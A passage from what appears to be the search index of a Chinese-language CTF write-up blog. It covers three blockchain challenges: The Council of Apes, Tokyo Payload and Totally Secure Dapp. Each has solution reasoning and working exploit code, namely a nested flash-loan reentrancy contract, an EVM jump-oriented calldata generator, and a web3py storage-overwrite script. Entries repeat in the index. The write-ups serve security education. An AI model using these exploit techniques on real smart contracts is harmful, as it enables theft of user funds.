icyToken \u5f52\u8fd8\u95ea\u7535\u8d37 \u53d1\u8d77\u95ea\u7535\u8d37\u9700\u8981\u8d28\u62bc\u53e6\u4e00\u79cd\u4ee3\u5e01\u3002\u7531\u4e8e\u4ee3\u5e01\u603b\u53d1\u884c\u91cf\u4e0d\u80fd\u8d85\u8fc7 \\(10^8\\) \uff0c\u56e0\u800c\u4e0d\u80fd\u4f7f\u7528 TotallyNotCopiedToken \u3002\u4f46\u5355\u6b21\u95ea\u7535\u8d37\u7684\u91d1\u989d\u4e0d\u8db3\u4ee5\u6210\u4e3a GORILLA \uff0c\u8003\u8651\u5230\u6ca1\u6709\u91cd\u5165\u4fdd\u62a4\uff0c\u53ef\u4ee5\u5728 receiveFlashLoan() \u65f6\u518d\u6b21\u53d1\u8d77\u95ea\u7535\u8d37 function collateralizedFlashloan ( address collateralToken , uint256 amount , address target ) onlyApe () external { require ( amount > 0 , \"You must lend out at least 1 token\" ); require ( amount <= icyToken . balanceOf ( address ( this )), \"We can't lend you this much\" ); require ( IERC20 ( collateralToken ). totalSupply () <= 100 _000_000 , \"Shitcoins are not accepted\" ); require ( address ( pools [ collateralToken ]) != address ( 0 ), \"This pool does not exist\" ); uint256 neededCollateral = pools [ collateralToken ]. getTokensPerIcyToken ( amount ); require ( neededCollateral <= 100 _000_000 , \"Shitcoins are still not accepted, don't try to cheat us\" ); //Receive the collateral IERC20 ( collateralToken ). transferFrom ( msg . sender , address ( this ), neededCollateral ); //Flashloan happens icyToken . transfer ( msg . sender , amount ); //You get to do stuff ( bool success , ) = target . call ( abi . encodeWithSignature ( \"receiveFlashLoan(uint256)\" , amount )); require ( success ); //By here we should get all our money back icyToken . transferFrom ( msg . sender , address ( this ), amount ); //Return the collateral IERC20 ( collateralToken ). transfer ( msg . sender , neededCollateral ); }","title":"\u89e3\u9898\u601d\u8def"},{"location":"blockchain/the_council_of_apes/#exploit","text":"contract HackToken is ERC20 { constructor ( address owner ) ERC20 ( \"HackToken\" , \"HACK\" ) { _mint ( owner , 100 _000_000 ); } } contract CouncilOfApesHack { IcyExchange exchange ; CouncilOfApes council ; TotallyNotCopiedToken icyToken ; bytes32 theHolyWords = keccak256 ( \"I hereby swear to ape into every shitcoin I see, to never sell, to never surrender, to never give up, to never stop buying, to never stop hodling, to never stop aping, to never stop believing, to never stop dreaming, to never stop hoping, to never stop loving, to never stop living, to never stop breathing\" ); bytes32 theEvilWords = keccak256 ( \"Kevin come out of the basement, dinner is ready.\" ); function exploit ( Setup setup ) external payable { exchange = setup . TARGET (); council = exchange . council (); icyToken = exchange . icyToken (); icyToken . approve ( address ( exchange ), type ( uint256 ). max ); icyToken . approve ( address ( council ), type ( uint256 ). max ); council . becomeAnApe ( theHolyWords ); setup . claimFreeTokens (); HackToken token = new HackToken ( address ( this )); token . approve ( address ( exchange ), type ( uint256 ). max ); exchange . createPool { value : 1 ether }( address ( token )); exchange . collateralizedFlashloan ( address ( token ), token . balanceOf ( address ( this )), address ( this ) ); council . dissolveCouncilOfTheApes ( theEvilWords ); } function receiveFlashLoan ( uint256 amount ) external { require ( msg . sender == address ( exchange )); if ( icyToken . balanceOf ( address ( this )) < 1e9 ) { HackToken token = new HackToken ( address ( this )); token . approve ( address ( exchange ), type ( uint256 ). max ); exchange . createPool { value : 1 ether }( address ( token )); exchange . collateralizedFlashloan ( address ( token ), token . balanceOf ( address ( this )), address ( this ) ); } else { council . buyBanana ( 1e9 ); council . vote ( address ( this ), 1e9 ); council . claimNewRank (); } council . issueBanana ( amount , address ( this )); uint balance = icyToken . balanceOf ( address ( council )); council . sellBanana ( amount > balance ? balance : amount ); } }","title":"Exploit"},{"location":"blockchain/the_council_of_apes/#flag","text":"gctf{M0nkee5_4re_inD33d_t0g3ther_str0ng3r}","title":"Flag"},{"location":"blockchain/tokyo_payload/","tags":["smart contract","evm","bytecode","jump oriented programming"],"text":"#smart contract #evm #bytecode #jump oriented programming .md-typeset .blogging-tags-grid { display: flex; flex-direction: row; flex-wrap: wrap; gap: 8px; margin-top: 5px; } .md-typeset .blogging-tag { color: var(--md-typeset-color); background-color: var(--md-typeset-code-color); white-space: nowrap; display: block; } .md-typeset .blogging-tag code { border-radius: 5px; } \u9898\u76ee \u00b6 What is Solidity? nc tokyo-payload.seccon.games 31337 Setup.sol // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.8.21 ; import { TokyoPayload } from \"./TokyoPayload.sol\" ; contract Setup { TokyoPayload public tokyoPayload ; constructor () { tokyoPayload = new TokyoPayload (); } function isSolved () public view returns ( bool ) { return tokyoPayload . solved (); } } TokyoPayload.sol // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.8.21 ; contract TokyoPayload { bool public solved ; uint256 public gasLimit ; function tokyoPayload ( uint256 x , uint256 y ) public { require ( x >= 0x40 ); resetGasLimit (); assembly { calldatacopy ( x , 0 , calldatasize ()) } function ()[] memory funcs ; uint256 z = y ; funcs [ z ](); } function load ( uint256 i ) public pure returns ( uint256 a , uint256 b , uint256 c ) { assembly { a := calldataload ( i ) b := calldataload ( add ( i , 0x20 )) c := calldataload ( add ( i , 0x40 )) } } function createArray ( uint256 length ) public pure returns ( uint256 [] memory ) { return new uint256 []( length ); } function resetGasLimit () public { uint256 [] memory arr ; gasLimit = arr . length ; } function delegatecall ( address addr ) public { require ( msg . sender == address ( 0xCAFE )); ( bool success ,) = addr . delegatecall { gas : gasLimit & 0xFFFF }( \"\" ); require ( success ); } } \u89e3\u9898\u601d\u8def \u00b6 \u76ee\u6807\u662f\u8ba9 solved \u4e3a true \uff0c\u800c TokyoPayload \u6ca1\u6709\u76f4\u63a5\u8bbe\u7f6e solved \u7684\u8bed\u53e5\uff0c\u663e\u7136\u9700\u8981\u501f\u52a9 delegatecall \u5730\u5740\u68c0\u67e5\u9650\u5236\u4e86 TokyoPayload.delegatecall() \u7684\u8c03\u7528\uff0c\u5219\u53ea\u80fd\u901a\u8fc7 tokyoPayload() \u8df3\u8f6c \u5206\u914d\u7ed9 delegatecall \u7684 gas \u53d6\u51b3\u4e8e\u901a\u8fc7 arr.length \u8bbe\u7f6e\u7684 gasLimit \uff0c\u800c arr \u662f\u5c1a\u672a\u521d\u59cb\u5316\u7684\u5185\u5b58\u6570\u7ec4\uff0c\u90a3\u4e48\u5373\u8bfb\u53d6 MEM[0x60] \u4e2d\u7684\u503c\u3002 calldatacopy \u53ef\u4ee5\u8986\u76d6 MEM[0x60] \u4e2d\u7684\u503c\uff0c\u4f7f\u5f97 arr.length > 0 \uff0c\u7531\u6b64\u53ef\u786e\u5b9a \\(x\\in[40_{16}, 80_{16})\\) \uff08\u4e14\u7531\u4e8e\u6bcf\u6b21\u8c03\u7528 tokyoPayload() \u90fd\u4f1a\u91cd\u8bbe gasLimit \uff0c\u9700\u8981\u901a\u8fc7\u4e00\u6b21\u8c03\u7528\u6765\u5b8c\u6210\u591a\u6b21\u8df3\u8f6c\uff09 DELEGATECALL \u6240\u5728\u5757 JUMPDEST \u7684\u5730\u5740\u4e3a 0x1a3 \uff0c\u4ece\u6808\u9876\u5230\u6808\u5e95\u8c03\u7528\u6808\u5e94\u6ee1\u8db3 [\u76ee\u6807\u5730\u5740addr, \u4e0b\u4e00\u8df3\u8f6c\u5730\u5740, ...] \u5e0c\u671b\u4ee3\u7406\u8c03\u7528\u7ed3\u675f\u540e\u76f4\u63a5\u7ed3\u675f\u672c\u6b21\u4ea4\u6613\uff0c\u4e0b\u4e00\u8df3\u8f6c\u5730\u5740\u53ef\u4ee5\u9009\u62e9 0x93 \u53ef\u901a\u8fc7 calldataload \u5c06\u6240\u9700\u53c2\u6570\u538b\u5165\u6808\u4e2d\uff0c\u6784\u9020\u5408\u9002\u7684\u8c03\u7528\u6808\u3002\u4e09\u4e2a CALLDATALOAD \u6240\u5728\u5757 JUMPDEST \u7684\u5730\u5740\u4e3a 0xd0 \uff0c\u4ece\u6808\u9876\u5230\u6808\u5e95\u8c03\u7528\u6808\u5e94\u6ee1\u8db3 [\u8d77\u59cb\u5730\u5740i, \u4e0b\u4e00\u8df3\u8f6c\u5730\u5740, ...] \u3002\u6267\u884c\u5230 0xdf \u65f6\uff0c\u6808\u4e2d\u5143\u7d20\u4e3a [\u4e0b\u4e00\u8df3\u8f6c\u5730\u5740, c, b, a, ...] \u8c03\u7528 tokyoPayload() \u9996\u6b21\u6267\u884c\u5230\u51fd\u6570\u8df3\u8f6c\u524d\uff0c\u5373 0x18e JUMP \uff0c\u5bf9\u5e94\u6e90\u7801 funcs[z]() \uff0c\u5143\u7d20\u4ece\u6808\u9876\u5230\u6808\u5e95\u4f9d\u6b21\u4e3a [0x18f, y, 0x60, y, x, ...] \u5728\u5185\u5b58\u8986\u76d6\u5b8c\u6210\u540e\uff0c\u9700\u8981\u518d\u6b21\u8c03\u7528 resetGasLimit() \uff0c\u53ef\u4ee5\u9009\u62e9 0x153 JUMPDEST \uff0c\u6b64\u65f6 y \u5bf9\u5e94\u6808\u9876\u5143\u7d20 STACK[0] \uff0c x \u5bf9\u5e94 STACK[1] \u7531\u4e8e\u9700\u8981\u4f7f\u7528 SSTORE \u4e14\u5bf9\u5e94 cold slot\uff0c\u81f3\u5c11\u9700\u8981 22100 gas\uff0c tokyoPayload() \u7684\u51fd\u6570\u7b7e\u540d\u4e3a 0x40c3 (16579)\uff0c\u53ef\u4ee5\u8bbe x \u4e3a 0x7B (0x80 - 5)\uff0c\u8fd9\u6837 delegatecall \u7684 gasLimit \u4e3a 0xc300 \u53e6\u5916\uff0c 0x17f \u5bf9\u5e94\u7684\u5757\u53ef\u4ee5\u5bf9\u6808\u7ed3\u6784\u8fdb\u884c\u5fae\u8c03\uff0c\u53ef\u7528\u4e8e\u8df3\u8f6c 0xd0 \u524d\uff0c\u6539\u53d8\u6808\u9876\u53c2\u6570 i Exploit \u00b6 \u8c03\u7528 tokyoPayload() \uff0c\u8986\u76d6\u5185\u5b58\uff0c funcs[z]() \u4e3a 0x17f 0x17f MEM[0x20 * 0x18f + 0x20 + y] = 0xd0 \uff0c\u6267\u884c\u5230 0x18e JUMP \u65f6\uff0c\u6808\u4e2d\u5143\u7d20\u4ece\u6808\u9876\u5230\u6808\u5e95\u4f9d\u6b21\u4e3a [0xd0, 0x60, y, ...] \uff0c\u7531\u6b64 y \u4e3a 0x153 0xd0 \u6784\u9020\u6808\uff0c b \u5bf9\u5e94\u65b0\u7684 x \uff0c c \u5bf9\u5e94\u65b0\u7684 y 0x153 \u91cd\u8bbe gasLimit \uff0c\u4e0b\u4e00\u8df3\u8f6c\u5730\u5740 0x1a3 \u5bf9\u5e94 y \uff0c funcs[z]() \u4e3a 0xd0 0xd0 \u6784\u9020\u8c03\u7528\u6808 0x1a3 \u4ee3\u7406\u8c03\u7528 contract Logic { fallback () external payable { assembly { sstore ( 0 , 1 ) } } } contract TokyoPayloadTest is Test { TokyoPayload public tokyoPayload ; address logic ; function setUp () public { tokyoPayload = new TokyoPayload (); logic = address ( new Logic ()); } function testSolve () public { string [] memory inputs = new string []( 3 ); inputs [ 0 ] = \"python3\" ; inputs [ 1 ] = \"script/generate.py\" ; inputs [ 2 ] = Strings . toHexString ( logic ); bytes memory data = vm . ffi ( inputs ); ( bool s , ) = address ( tokyoPayload ). call ( data ); require ( s ); require ( tokyoPayload . solved ()); } } import sys def place ( offset , value : int ): global data if l := len ( data ) // 2 < offset : data += '00' * ( offset - l + 0x20 ) data = data [: offset * 2 ] + f ' { value : 064x } ' + data [( offset + 0x20 ) * 2 :] target_addr = int ( sys . argv [ 1 ], 16 ) data = '000040c3' # sig data += f ' { 0x7b : 064x } ' # x data += f ' { 0x153 : 064x } ' # y place ( 0x4 + 0x153 * 0x20 + 1 , 0x17f ) # funcs[0x153] = 0x17f place ( 0x20 * 0x18f + 0x20 + 0x153 - 0x7b , 0xd0 ) # MEM[0x20 * 0x18f + 0x20 + y] = 0xd0 place ( 0x60 + 0x20 , 0x7c ) # b: new_x place ( 0x60 + 0x40 , 0x1a3 ) # c: new_y place ( 0x4 + 0x1a3 * 0x20 , 0xd0 ) # funcs[0x1a3] = 0xd0 place ( 0x18f + 0x20 , 0x93 ) # b: STOP JUMPDEST place ( 0x18f + 0x40 , target_addr ) # c: DELEGATECALL target print ( data ) \u53c2\u8003\u8d44\u6599 \u00b6 Layout in Memory \u2014 Solidity documentation Debugger - Foundry Book","title":"Tokyo Payload"},{"location":"blockchain/tokyo_payload/#_1","text":"What is Solidity? nc tokyo-payload.seccon.games 31337 Setup.sol // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.8.21 ; import { TokyoPayload } from \"./TokyoPayload.sol\" ; contract Setup { TokyoPayload public tokyoPayload ; constructor () { tokyoPayload = new TokyoPayload (); } function isSolved () public view returns ( bool ) { return tokyoPayload . solved (); } } TokyoPayload.sol // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.8.21 ; contract TokyoPayload { bool public solved ; uint256 public gasLimit ; function tokyoPayload ( uint256 x , uint256 y ) public { require ( x >= 0x40 ); resetGasLimit (); assembly { calldatacopy ( x , 0 , calldatasize ()) } function ()[] memory funcs ; uint256 z = y ; funcs [ z ](); } function load ( uint256 i ) public pure returns ( uint256 a , uint256 b , uint256 c ) { assembly { a := calldataload ( i ) b := calldataload ( add ( i , 0x20 )) c := calldataload ( add ( i , 0x40 )) } } function createArray ( uint256 length ) public pure returns ( uint256 [] memory ) { return new uint256 []( length ); } function resetGasLimit () public { uint256 [] memory arr ; gasLimit = arr . length ; } function delegatecall ( address addr ) public { require ( msg . sender == address ( 0xCAFE )); ( bool success ,) = addr . delegatecall { gas : gasLimit & 0xFFFF }( \"\" ); require ( success ); } }","title":"\u9898\u76ee"},{"location":"blockchain/tokyo_payload/#_2","text":"\u76ee\u6807\u662f\u8ba9 solved \u4e3a true \uff0c\u800c TokyoPayload \u6ca1\u6709\u76f4\u63a5\u8bbe\u7f6e solved \u7684\u8bed\u53e5\uff0c\u663e\u7136\u9700\u8981\u501f\u52a9 delegatecall \u5730\u5740\u68c0\u67e5\u9650\u5236\u4e86 TokyoPayload.delegatecall() \u7684\u8c03\u7528\uff0c\u5219\u53ea\u80fd\u901a\u8fc7 tokyoPayload() \u8df3\u8f6c \u5206\u914d\u7ed9 delegatecall \u7684 gas \u53d6\u51b3\u4e8e\u901a\u8fc7 arr.length \u8bbe\u7f6e\u7684 gasLimit \uff0c\u800c arr \u662f\u5c1a\u672a\u521d\u59cb\u5316\u7684\u5185\u5b58\u6570\u7ec4\uff0c\u90a3\u4e48\u5373\u8bfb\u53d6 MEM[0x60] \u4e2d\u7684\u503c\u3002 calldatacopy \u53ef\u4ee5\u8986\u76d6 MEM[0x60] \u4e2d\u7684\u503c\uff0c\u4f7f\u5f97 arr.length > 0 \uff0c\u7531\u6b64\u53ef\u786e\u5b9a \\(x\\in[40_{16}, 80_{16})\\) \uff08\u4e14\u7531\u4e8e\u6bcf\u6b21\u8c03\u7528 tokyoPayload() \u90fd\u4f1a\u91cd\u8bbe gasLimit \uff0c\u9700\u8981\u901a\u8fc7\u4e00\u6b21\u8c03\u7528\u6765\u5b8c\u6210\u591a\u6b21\u8df3\u8f6c\uff09 DELEGATECALL \u6240\u5728\u5757 JUMPDEST \u7684\u5730\u5740\u4e3a 0x1a3 \uff0c\u4ece\u6808\u9876\u5230\u6808\u5e95\u8c03\u7528\u6808\u5e94\u6ee1\u8db3 [\u76ee\u6807\u5730\u5740addr, \u4e0b\u4e00\u8df3\u8f6c\u5730\u5740, ...] \u5e0c\u671b\u4ee3\u7406\u8c03\u7528\u7ed3\u675f\u540e\u76f4\u63a5\u7ed3\u675f\u672c\u6b21\u4ea4\u6613\uff0c\u4e0b\u4e00\u8df3\u8f6c\u5730\u5740\u53ef\u4ee5\u9009\u62e9 0x93 \u53ef\u901a\u8fc7 calldataload \u5c06\u6240\u9700\u53c2\u6570\u538b\u5165\u6808\u4e2d\uff0c\u6784\u9020\u5408\u9002\u7684\u8c03\u7528\u6808\u3002\u4e09\u4e2a CALLDATALOAD \u6240\u5728\u5757 JUMPDEST \u7684\u5730\u5740\u4e3a 0xd0 \uff0c\u4ece\u6808\u9876\u5230\u6808\u5e95\u8c03\u7528\u6808\u5e94\u6ee1\u8db3 [\u8d77\u59cb\u5730\u5740i, \u4e0b\u4e00\u8df3\u8f6c\u5730\u5740, ...] \u3002\u6267\u884c\u5230 0xdf \u65f6\uff0c\u6808\u4e2d\u5143\u7d20\u4e3a [\u4e0b\u4e00\u8df3\u8f6c\u5730\u5740, c, b, a, ...] \u8c03\u7528 tokyoPayload() \u9996\u6b21\u6267\u884c\u5230\u51fd\u6570\u8df3\u8f6c\u524d\uff0c\u5373 0x18e JUMP \uff0c\u5bf9\u5e94\u6e90\u7801 funcs[z]() \uff0c\u5143\u7d20\u4ece\u6808\u9876\u5230\u6808\u5e95\u4f9d\u6b21\u4e3a [0x18f, y, 0x60, y, x, ...] \u5728\u5185\u5b58\u8986\u76d6\u5b8c\u6210\u540e\uff0c\u9700\u8981\u518d\u6b21\u8c03\u7528 resetGasLimit() \uff0c\u53ef\u4ee5\u9009\u62e9 0x153 JUMPDEST \uff0c\u6b64\u65f6 y \u5bf9\u5e94\u6808\u9876\u5143\u7d20 STACK[0] \uff0c x \u5bf9\u5e94 STACK[1] \u7531\u4e8e\u9700\u8981\u4f7f\u7528 SSTORE \u4e14\u5bf9\u5e94 cold slot\uff0c\u81f3\u5c11\u9700\u8981 22100 gas\uff0c tokyoPayload() \u7684\u51fd\u6570\u7b7e\u540d\u4e3a 0x40c3 (16579)\uff0c\u53ef\u4ee5\u8bbe x \u4e3a 0x7B (0x80 - 5)\uff0c\u8fd9\u6837 delegatecall \u7684 gasLimit \u4e3a 0xc300 \u53e6\u5916\uff0c 0x17f \u5bf9\u5e94\u7684\u5757\u53ef\u4ee5\u5bf9\u6808\u7ed3\u6784\u8fdb\u884c\u5fae\u8c03\uff0c\u53ef\u7528\u4e8e\u8df3\u8f6c 0xd0 \u524d\uff0c\u6539\u53d8\u6808\u9876\u53c2\u6570 i","title":"\u89e3\u9898\u601d\u8def"},{"location":"blockchain/tokyo_payload/#exploit","text":"\u8c03\u7528 tokyoPayload() \uff0c\u8986\u76d6\u5185\u5b58\uff0c funcs[z]() \u4e3a 0x17f 0x17f MEM[0x20 * 0x18f + 0x20 + y] = 0xd0 \uff0c\u6267\u884c\u5230 0x18e JUMP \u65f6\uff0c\u6808\u4e2d\u5143\u7d20\u4ece\u6808\u9876\u5230\u6808\u5e95\u4f9d\u6b21\u4e3a [0xd0, 0x60, y, ...] \uff0c\u7531\u6b64 y \u4e3a 0x153 0xd0 \u6784\u9020\u6808\uff0c b \u5bf9\u5e94\u65b0\u7684 x \uff0c c \u5bf9\u5e94\u65b0\u7684 y 0x153 \u91cd\u8bbe gasLimit \uff0c\u4e0b\u4e00\u8df3\u8f6c\u5730\u5740 0x1a3 \u5bf9\u5e94 y \uff0c funcs[z]() \u4e3a 0xd0 0xd0 \u6784\u9020\u8c03\u7528\u6808 0x1a3 \u4ee3\u7406\u8c03\u7528 contract Logic { fallback () external payable { assembly { sstore ( 0 , 1 ) } } } contract TokyoPayloadTest is Test { TokyoPayload public tokyoPayload ; address logic ; function setUp () public { tokyoPayload = new TokyoPayload (); logic = address ( new Logic ()); } function testSolve () public { string [] memory inputs = new string []( 3 ); inputs [ 0 ] = \"python3\" ; inputs [ 1 ] = \"script/generate.py\" ; inputs [ 2 ] = Strings . toHexString ( logic ); bytes memory data = vm . ffi ( inputs ); ( bool s , ) = address ( tokyoPayload ). call ( data ); require ( s ); require ( tokyoPayload . solved ()); } } import sys def place ( offset , value : int ): global data if l := len ( data ) // 2 < offset : data += '00' * ( offset - l + 0x20 ) data = data [: offset * 2 ] + f ' { value : 064x } ' + data [( offset + 0x20 ) * 2 :] target_addr = int ( sys . argv [ 1 ], 16 ) data = '000040c3' # sig data += f ' { 0x7b : 064x } ' # x data += f ' { 0x153 : 064x } ' # y place ( 0x4 + 0x153 * 0x20 + 1 , 0x17f ) # funcs[0x153] = 0x17f place ( 0x20 * 0x18f + 0x20 + 0x153 - 0x7b , 0xd0 ) # MEM[0x20 * 0x18f + 0x20 + y] = 0xd0 place ( 0x60 + 0x20 , 0x7c ) # b: new_x place ( 0x60 + 0x40 , 0x1a3 ) # c: new_y place ( 0x4 + 0x1a3 * 0x20 , 0xd0 ) # funcs[0x1a3] = 0xd0 place ( 0x18f + 0x20 , 0x93 ) # b: STOP JUMPDEST place ( 0x18f + 0x40 , target_addr ) # c: DELEGATECALL target print ( data )","title":"Exploit"},{"location":"blockchain/tokyo_payload/#_3","text":"Layout in Memory \u2014 Solidity documentation Debugger - Foundry Book","title":"\u53c2\u8003\u8d44\u6599"},{"location":"blockchain/totally_secure_dapp/","tags":["smart contract"],"text":"#smart contract .md-typeset .blogging-tags-grid { display: flex; flex-direction: row; flex-wrap: wrap; gap: 8px; margin-top: 5px; } .md-typeset .blogging-tag { color: var(--md-typeset-color); background-color: var(--md-typeset-code-color); white-space: nowrap; display: block; } .md-typeset .blogging-tag code { border-radius: 5px; } \u9898\u76ee \u00b6 It's on the blockchain, and there's no way anything on the blockchain could ever have any vulnerabilities. Note, because the contract is on Ropsten, some transactions might fail. If that happens, just keep retrying. Get test ether from https://faucet.metamask.io/ https://totally-secure-dapp.vercel.app/ totally-secure-dapp.zip \u89e3\u9898\u601d\u8def \u00b6 https://totally-secure-dapp.vercel.app/ \u4e3b\u8981\u63d0\u4f9b\u4e86 New Post \u548c\u5c55\u793a Post \u7684\u529f\u80fd\uff0cPost \u8bb0\u5f55\u4e0a\u94fe \u63d0\u4f9b\u4e86\u4e24\u4efd\u5408\u7ea6\u4ee3\u7801\uff0cPost \u76f8\u5173\u64cd\u4f5c\u51fd\u6570\u4f4d\u4e8e TotallySecureDapp.sol \uff0c\u5f53\u8c03\u7528\u8005\u4e3a owner \u4e14\u5408\u7ea6\u8d26\u6237\u7684\u4f59\u989d\u5927\u4e8e 0.005 \u4ee5\u592a\u65f6\u53ef\u4ee5\u89e6\u53d1 FlagCaptured \u4e8b\u4ef6 modifier onlyOwner () { require ( msg . sender == _owner , 'Caller is not the owner' ); _ ; } function captureFlag () external onlyOwner { require ( address ( this ). balance > 0.005 ether , 'Balance too low' ); _flagCaptured = true ; emit FlagCaptured ( msg . sender ); } \u9664\u6b64\u4e4b\u5916\uff0c\u80fd\u591f\u8c03\u7528\u7684\u51fd\u6570\u6709 addPost \u3001 editPost \u3001 removePost \u548c nPost \u3002\u6ce8\u610f\u5230 removePost \u4e2d length \u7684\u51cf\u6cd5\u6ca1\u6709\u4f7f\u7528 SafeMath \u6216\u5728\u4f7f\u7528\u524d\u8fdb\u884c\u5224\u65ad function addPost ( string title , string content ) external { Post memory post = Post ( title , content ); _posts . push ( post ); _authors . push ( msg . sender ); emit PostPublished ( msg . sender , _posts . length - 1 ); } function editPost ( uint256 index , string title , string content ) external { _authors [ index ] = msg . sender ; _posts [ index ] = Post ( title , content ); emit PostEdited ( msg . sender , index ); } function removePost ( uint256 index ) external { if ( int256 ( index ) < int256 ( _posts . length - 1 )) { for ( uint256 i = index ; i < _posts . length - 1 ; i ++ ) { _posts [ i ] = _posts [ i + 1 ]; _authors [ i ] = _authors [ i + 1 ]; } } _posts . length -- ; _authors . length -- ; emit PostRemoved ( msg . sender , index ); } function nPosts () public view returns ( uint256 ) { return _posts . length ; } \u56e0\u4e3a\u6570\u7ec4\u957f\u5ea6\u53ef\u63a7\u4e14\u53ef\u7f16\u8f91\u6307\u5b9a\u4e0b\u6807\u7684\u6570\u7ec4\u5143\u7d20\uff0c\u63a5\u4e0b\u6765\u53ea\u9700\u8981\u901a\u8fc7 editPost \u8986\u76d6 owner \u53d8\u91cf string \u7c7b\u578b\u7684\u53d8\u91cf\u5b58\u50a8\u65b9\u5f0f\u4e0e address \u7c7b\u578b\u7684\u4e0d\u540c\uff0c\u5f53\u957f\u5ea6\u5c0f\u4e8e \\(32\\) \u5b57\u8282\u65f6\uff0c\u5143\u7d20\u5b58\u50a8\u5728\u9ad8\u4f4d\uff0c\u4f4e\u4f4d\u5b58\u50a8\u5b57\u7b26\u4e32\u5b57\u8282\u957f\u5ea6\uff0c\u5f53\u957f\u5ea6\u5927\u4e8e \\(31\\) \u5b57\u8282\u65f6\uff0c\u5b58\u50a8\u65b9\u5f0f\u4e0e\u6570\u7ec4\u7c7b\u4f3c \u5efa\u8bae\u901a\u8fc7 _authors \u6570\u7ec4\u5b8c\u6210\u8986\u76d6\u64cd\u4f5c // contract Initializable bool private _initialized ; // slot 0 bool private _initializing ; // slot 0 // contract TotallySecureDapp is Initializable struct Post { string title ; string content ; } // 2 slots string public _contractId ; // slot 1 address public _owner ; // slot 2 address [] public _authors ; // slot 3 Post [] public _posts ; // slot 4 bool public _flagCaptured ; // slot 5 \u53e6\u5916\uff0c\u5408\u7ea6 TotallySecureDapp \u4e0d\u63a5\u53d7\u76f4\u63a5\u8f6c\u8d26\uff0c\u6240\u4ee5\u9700\u8981\u4e00\u4e9b\u7279\u6b8a\u624b\u6bb5 >v< \u6bd4\u5982 selfdestruct function () external payable { revert ( 'Contract does not accept payments' ); } \u7ed9 TotallySecureDapp \u5408\u7ea6\u5b9e\u4f8b\u8f6c\u8d26\u540e\uff0c\u901a\u8fc7 web3py \u4e0e\u5408\u7ea6\u8fdb\u884c\u4ea4\u4e92 from web3 import Web3 import json , time # \u5728 https://infura.io/ \u6ce8\u518c\u4e00\u4e2a\u8d26\u53f7\u5e76\u521b\u5efa\u4e00\u4e2a\u9879\u76ee\u53ef\u83b7\u5f97 API key w3 = Web3 ( Web3 . HTTPProvider ( \"https://ropsten.infura.io/v3/\" )) account = w3 . eth . account . from_key ( \"\" ) contract_address = \"\" abi = json . loads ( open ( 'abi.json' ) . read ()) contract = w3 . eth . contract ( address = contract_address , abi = abi ) # \u5148\u8c03\u7528 removePost \u4f7f\u6570\u7ec4\u957f\u5ea6\u4e0b\u6ea2\u51fa tx = contract . functions . removePost ( 1 ) . buildTransaction ({ \"from\" : account . address , \"nonce\" : w3 . eth . getTransactionCount ( account . address )}) signed_tx = account . signTransaction ( tx ) print ( w3 . eth . sendRawTransaction ( signed_tx . rawTransaction ) . hex ()) time . sleep ( 30 ) # \u7b49\u5f85\u4ea4\u6613\u786e\u8ba4 # \u4fee\u6539 owner index = 2 ** 256 - int ( Web3 . soliditySha3 ([ 'uint256' ], [ 3 ]) . hex (), 16 ) + 2 tx = contract . functions . editPost ( index , \"unimportant\" , \"unimportant\" ) . buildTransaction ({ \"from\" : account . address , \"nonce\" : w3 . eth . getTransactionCount ( account . address )}) signed_tx = account . signTransaction ( tx ) print ( w3 . eth . sendRawTransaction ( signed_tx . rawTransaction ) . hex ()) time . sleep ( 30 ) # emit FlagCaptured tx = contract . functions . captureFlag () . buildTransaction ({ \"from\" : account . address , \"nonce\" : w3 . eth . getTransactionCount ( account . address )}) signed_tx = account . signTransaction ( tx ) print ( w3 . eth . sendRawTransaction ( signed_tx . rawTransaction ) . hex ()) TotallySecureDapp | Address 0x014a2a17aa06c26c660fb4a269ac87849d38fd0a | Etherscan \u53ef\u4ee5\u770b\u5230 FlagCaptured \u4e8b\u4ef6\u88ab\u6210\u529f\u89e6\u53d1\u4e86\uff0c\u4f46\u662f Flag \u5728\u54ea\uff1f \u8d77\u521d\u4ee5\u4e3a\u662f\u4e8b\u4ef6\u7684\u8fd4\u56de\u503c\uff0c\u4f46\u67e5\u65e5\u5fd7\u4e5f\u6700\u591a\u53ea\u80fd\u83b7\u5f97\u4f20\u53c2\u3002\u60f3\u5230\u662f Web \u9898\uff0c\u8dd1\u53bb\u7ffb\u4e86\u7ffb\u6e90\u7801\uff0c\u53d1\u73b0 pages/api/secret.ts \u4e2d\u63d0\u4f9b\u4e86\u83b7\u53d6 Flag \u7684\u63a5\u53e3\uff0c\u8bf7\u6c42\u53c2\u6570\u5305\u62ec userAddress \u3001 contractAddress \u4ee5\u53ca userId const { userAddress , contractAddress , userId } = req . body as ReqData ; const owner = await contract . _owner (); const flagCaptured = await contract . _flagCaptured (); const balance = await provider . getBalance ( contractAddress ); if ( owner === userAddress && flagCaptured && balance . gt ( parseEther ( '0.005' ))) { const ids = db . collection ( 'users' ). doc ( 'ids' ); if ( ! ids ) { res . status ( 500 ). json ({ error : 'Failed to load ids' }); return ; } const id = ( await ids . get ()). get ( userAddress . toLowerCase ()); if ( id !== userId ) { res . status ( 401 ). json ({ error : 'Unauthorised' }); return ; } const flag = process . env . FLAG ; res . status ( 200 ). json ({ flag : flag }); return ; } \u5408\u7ea6\u76f8\u5173\u7684\u6761\u4ef6\u90fd\u5df2\u6ee1\u8db3\uff0c\u8fd8\u5dee\u4e00\u4e2a userId \uff0c\u641c\u4e86\u641c\u6e90\u7801\uff0c\u5728 components/connector/ConnectModal.tsx \u4e0b\u627e\u5230\u4e86 window.localStorage.setItem('user-id', id); \u5728\u63a7\u5236\u53f0\u8f93\u5165 localStorage.getItem('user-id') \u5373\u53ef\u83b7\u5f97\u5bf9\u5e94\u8d26\u6237\u7684 userId \u8c03\u7528 API \u63a5\u53e3 $ curl -d '{\"userAddress\":\"0xe09f6d20E2522F6B971b4516744946CF17BE8432\", \"contractAddress\":\"0x014A2a17AA06C26C660FB4A269aC87849d38Fd0A\", \"userId\": \"RIHIaESfxzilmF10mmBpH\"}' -H \"Content-Type: application/json\" -X POST https://totally-secure-dapp.vercel.app/api/secret { \"flag\" : \"UACTF{23411y_m394_5u5_f149}\" } Flag \u00b6 UACTF{23411y_m394_5u5_f149}","title":"Totally Secure Dapp"},{"location":"blockchain/totally_secure_dapp/#_1","text":"It's on the blockchain, and there's no way anything on the blockchain could ever have any 